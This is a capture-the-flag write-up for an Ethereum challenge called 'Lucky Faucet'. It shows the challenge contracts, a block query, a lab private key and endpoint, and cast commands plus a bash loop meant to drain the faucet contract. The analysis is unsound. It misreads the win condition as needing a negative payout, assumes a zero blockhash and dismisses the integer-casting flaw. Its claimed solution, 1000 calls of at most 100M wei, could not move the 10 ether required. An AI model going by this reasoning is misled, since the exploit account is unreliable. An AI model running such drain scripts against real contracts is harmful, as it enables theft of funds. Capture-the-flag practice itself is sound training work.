Lucky Faucet
Personal Rating: Medium
This challenge is about another Ethereum smart contract.
Private key : 0x98232553931a8017da5506efcb6e19783fcb4eb567f5669a63f799212242a462
Address : 0x1051eb53BCBcceB0bf037791592720051C9A3a5E
Target contract : 0xA2CF6183f3482bd338E4912338b3bdcfCBf868aC
Setup contract : 0x94D9eFd7E2C92648aF0787218A6948119b8C1d90
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {
LuckyFaucet public immutable TARGET;
uint256 constant INITIAL_BALANCE = 500 ether;
constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}
We can see that the initial account balance is 500 ether and the win condition that is checked by the isSolved() function requires the balance to be 490 or lower. This means that we have to send a negative amount to the wallet. Lets look at the contract:
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;
constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}
Okay this looks a bit daunting at first, but we will figure this out.
With cast block -r http://<IP>:<PORT>
we can get some more infos:
baseFeePerGas 0
difficulty 0
extraData 0x
gasLimit 30000000
gasUsed 317408
hash 0xbbbd6d33cdbf7ce2e00e29032a9b00495767bab435e446b360a80813f5f6ea35
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
miner 0x0000000000000000000000000000000000000000
mixHash 0x0000000000000000000000000000000000000000000000000000000000000000
nonce 0x0000000000000000
number 1
parentHash 0xf22e4d86df5cd309ca60347b840adbfa28dacfc1680ca24bd796d75f0684004c
transactionsRoot 0xe2686db1ee986ba7e9ff7076efaa5004a820a66208e19047a2dec7743b7a2c9d
receiptsRoot 0xd1c7233d5e283154337cce910416de4e8977223bd83fee48b1b316caff5404a0
sealFields []
sha3Uncles 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
size 1730
stateRoot 0x7d4b16bebf333e057e5d9b14aee9a7fb5c6727e875f62e77f394acecd351dba8
timestamp 1710412788
withdrawalsRoot
totalDifficulty 0
transactions: [
0x7d768e3802f532376e2c6aa39fe01be0bd9480be7c657b60a8273fc6be807f05
]
Our target is to set a negative value for amountToSend (-10 or less) to satisfy the win condition in Setup.sol
To realize this, we have this equation:
-10 = uint64(int256(blockhash(block.number - 1)) % (upperBound - lowerBound + 1) + lowerBound);
Through the setBounds function we control int64 _newLowerBound and int64 _newUpperBound
First we have to find out what int256(blockhash(block.number - 1)) is. Through the cast block command above we could determine the block number to be 1.
So we have int256(blockhash(1 - 1)) which should be 0
This gives us:
-10 = uint64(0 % (upperBound - lowerBound + 1) + lowerBound);
This should just be lowerbound. Maybe we can just set the lowerBound to a negative number and the upperBound to anything.
-> This did not work as the resulting value is unsigned and thus cannot be negative.
cast send --private-key 0x98232553931a8017da5506efcb6e19783fcb4eb567f5669a63f799212242a462 0xA2CF6183f3482bd338E4912338b3bdcfCBf868aC -r "http://94.237.54.161:50890" "setBounds(int64, int64)" 0 0
What worked in the end was to just call the sendRandomETH() very often to reduce the account balance. This is the script I used for it:
#!/bin/bash
for ((i=1; i<=1000; i++)); do
cast send --private-key 0x98232553931a8017da5506efcb6e19783fcb4eb567f5669a63f799212242a462 0xA2CF6183f3482bd338E4912338b3bdcfCBf868aC -r "http://94.237.54.161:50890" "sendRandomETH()"
done
Last updated